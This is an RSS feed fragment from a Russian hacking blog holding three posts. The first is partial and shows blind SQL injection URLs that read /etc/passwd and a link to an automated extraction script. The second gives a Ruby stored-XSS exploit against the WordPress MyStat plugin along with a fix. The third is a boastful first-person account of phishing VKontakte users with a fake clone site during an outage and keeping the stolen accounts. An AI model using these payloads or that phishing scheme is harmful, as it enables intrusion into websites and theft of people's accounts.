<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --</code></p>
<p>или</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>эта часть текста HTML должна присутствовать только в новости с индексом 10.</p>
<p><strong>$func</strong> &#8211; функция, которую мы вызываем. Это может быть LOAD_FILE(), VERSION(), USER() итд, комбинации из них, короче все на что хватит фантазии.</p>
<p><strong>$site</strong> &#8211; сайт, где располагается SQL-inj.</p>
<p><strong>$start</strong> &#8211; номер символа, с которого начинать.</p>
<div style="font-size: 1.7em;">многопоточный приблизительно точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8ouu84" target="_blank">скачать скрипт</a></p>
<p>Принцип работы нечем не отличается, заисключением того, что скрипт вычисляет не последовательно символ за символом, а сразу паралельно несколько символов, количество которых равно количеству потоков заданных в конфигурации.</p>
<p>Конфигурация, такая же, добавился лишь один параметр <strong>$th_count</strong>. Он определяет количество потоков.<strong></strong></p>
<p>Чем же плох многопоточный вариант? При стабильном соединении с интернетом не чем т.е. он вычислит все символы как надо и быстро. Если же соединение часто обрывается, как например на 3G-модемах, то некоторые потоки будут умерать оставляя свой символ недовычисленным. Для примера, при нестабильном соединении (скорость скачет от 1КБ/с до 300КБ/с, соединение обрывается каждые 3-5 минут) из 10 символов 1 будет недовычислен.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>активная XSS плагин mystat wordpress</title>
		<link>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/</link>
		<comments>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 02:15:12 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[уязвимости]]></category>
		<category><![CDATA[mystat]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[плагин]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=382</guid>
		<description><![CDATA[Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; http://wordpress.org/extend/plugins/mystat/. Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов. Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png"><img class="alignleft size-full wp-image-383" style="margin: 5px 10px;" title="mystat" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/download.png" alt="" width="238" height="158" /></a>Плагин MyStat для WordPress один из самых популярных плагинов статистики посещаемости. Официальная локация плагина &#8211; <a rel="nofollow" href="http://wordpress.org/extend/plugins/mystat/" target="_blank">http://wordpress.org/extend/plugins/mystat/</a>.</p>
<p>Актиная XSS наблюдается в таких разделах плагина как &#8216;Рефереры&#8217;, &#8216;Агенты&#8217; итд, короче везде, где наблюдаются данные заголовка HTTP-пакета, разумеется кроме кукисов.<br />
<span id="more-382"></span><br />
Тестировалось на mystat 2.6 (на данный момент последняя версия) и WordPress 2.9.2. Существует отличная от нуля вероятность, что эта бага актуальна для всех версий WordPress и всех существующих на данный момент версий mystat.</p>
<p><strong>Эксплойт</strong></p>
<p>Эксплойт написан на Ruby, как установить и запустить Ruby читайте в предыдущих статьях этого блога.</p>
<p><code>#!/usr/bin/ruby<br />
require 'net/http'<br />
http = Net::HTTP.new('very.popular.blog.ru', 80)<br />
path = '/'<br />
headers = {<br />
'Referer' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;',<br />
'User-agent' ='&lt;script&gt;alert(/XSS/);&lt;/script&gt;'}<br />
resp, data = http.get(path, headers)<br />
if resp.code.to_i==200 then puts "Exploiting OK"<br />
else puts "Exploiting failed" end</code></p>
<p><strong>Фикс</strong><br />
Открываем /wp-content/plugins/wp-mystat/mystat.php и фильтруем в функции function myStat_header() html-теги функцией htmlspecialchars():<br />
<code><br />
$US['lang']=htmlspecialchars((string)substr($GLOBALS['_SERVER']['HTTP_ACCEPT_LANGUAGE'],0,2));<br />
$US['user_agent']=htmlspecialchars((string)$GLOBALS['_SERVER']['HTTP_USER_AGENT']);<br />
$US['referer']=(string)isset($GLOBALS['_SERVER']['HTTP_REFERER'])?htmlspecialchars($GLOBALS['_SERVER']['HTTP_REFERER']):'';</code></p>
<p>Здесь приведен не полный список полей, которые надо фильтровать.</p>
<pre>Статья не призывает ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только на вас!
</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>авария на Ленэнерго или конверт с мертвого контакта лучше живых двух</title>
		<link>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/</link>
		<comments>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 21:32:31 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[fake]]></category>
		<category><![CDATA[анархия]]></category>
		<category><![CDATA[бутылки с зажигательной смесью]]></category>
		<category><![CDATA[вконтакте]]></category>
		<category><![CDATA[напалм]]></category>
		<category><![CDATA[паника]]></category>
		<category><![CDATA[траф с соц.сетей]]></category>
		<category><![CDATA[фейк]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=301</guid>
		<description><![CDATA[Я думаю всем прекрасно известно, что сегодня около 5-ти часов вечера Вконтакте.ру упал и долго не вставал. В мире воцарила паника и анархия: марадеры грабили магазины, женщины и дети прятались в бомбоубежищах, бунтари переворачивали автомобили и разбрасывались бутылками с зажигательной смесью, короче как обычно. Я по началу просто обрадовался этому, несомненно положительному событию. И только [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/vkontakte-ne-dostupen.jpg"><img class="aligncenter size-full wp-image-302" title="vkontakte-ne-dostupen" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/vkontakte-ne-dostupen.jpg" alt="" width="454" height="79" /></a>Я думаю всем прекрасно известно, что сегодня около 5-ти часов вечера Вконтакте.ру упал и долго не вставал. В мире воцарила паника и анархия: марадеры грабили магазины, женщины и дети прятались в бомбоубежищах, бунтари переворачивали автомобили и разбрасывались бутылками с зажигательной смесью, короче как обычно.<span id="more-301"></span></p>
<p style="text-align: left;"><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/11742-163.jpg"><img class="aligncenter size-full wp-image-311" title="11742-16" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/11742-163.jpg" alt="" width="450" height="289" /></a></p>
<p>Я по началу просто обрадовался этому, несомненно положительному событию. И только через несколько десятков минут понял, что на этом можно отлично поднять траф. Многие этим уже активно занимались, например те, кто первый бросил утку о том, что все без исключения сервера Вконтакте.ру конфискованны МВД за распостранение порнушки,  нелицензионного софта и сливу в паблик какой-то госудраственной секретной лабуды. Многие на это активно велись.</p>
<p>Утку бросить я бы не смог т.к. не имею какого-нибудь достаточно популярного сайта или на худой конец твиттера. Поэтому я решил действовать по другому и вместо  поднятия себя ТИЦ&#8217;а, путем вставки всевозможных ссылок на мою утку в форумах, конференциях итд, принялся сливать трафик на фейк контакта, вот таким способом (см. рисунок).</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/otvetvk.png"><img class="alignleft size-medium wp-image-305" style="border: 1px solid black; margin: 5px 10px;" title="otvetvk" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/otvetvk-300x244.png" alt="" width="300" height="244" /></a>Иначе, говоря я писал где только можно, мол &#8221;  Вконтакте восстановил свою резервную копию и зайти на сайт можно по следующей ссылке&#8221;, &#8220;Вконтакту прикрыли домен и он переехал на этот адрес&#8221; и прочую ересь.</p>
<p>Модераторы регулярно терли мои темы, банили акки, но я не отступал т.к. выхлоп с таких сообщений был настолько шикарен, что количество подаренных мне акков за время паники превысило количество всех акков с фейка за последние две недели вместе взятых. Я уже начал подумывать, что мой фейк сам скоро упадет из-за столько активного посещения.</p>
<p>Когда Вконтакте воскрес многие люди, которые поняли что попались на фейк принялись менять пароли. Но далеко не все это поняли,  в общем, на данный момент у меня осталось чуть больше 80% аккаунтов.</p>
<p>В заключении могу сказать, что ни один пароль от аккаунтов я не поменял и никому ничего не продал, хотя мог бы. Не факт, конечно, что я не продам завтра&#8230;</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/25/avariya-na-lenenergo-ili-konvert-s-mert/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
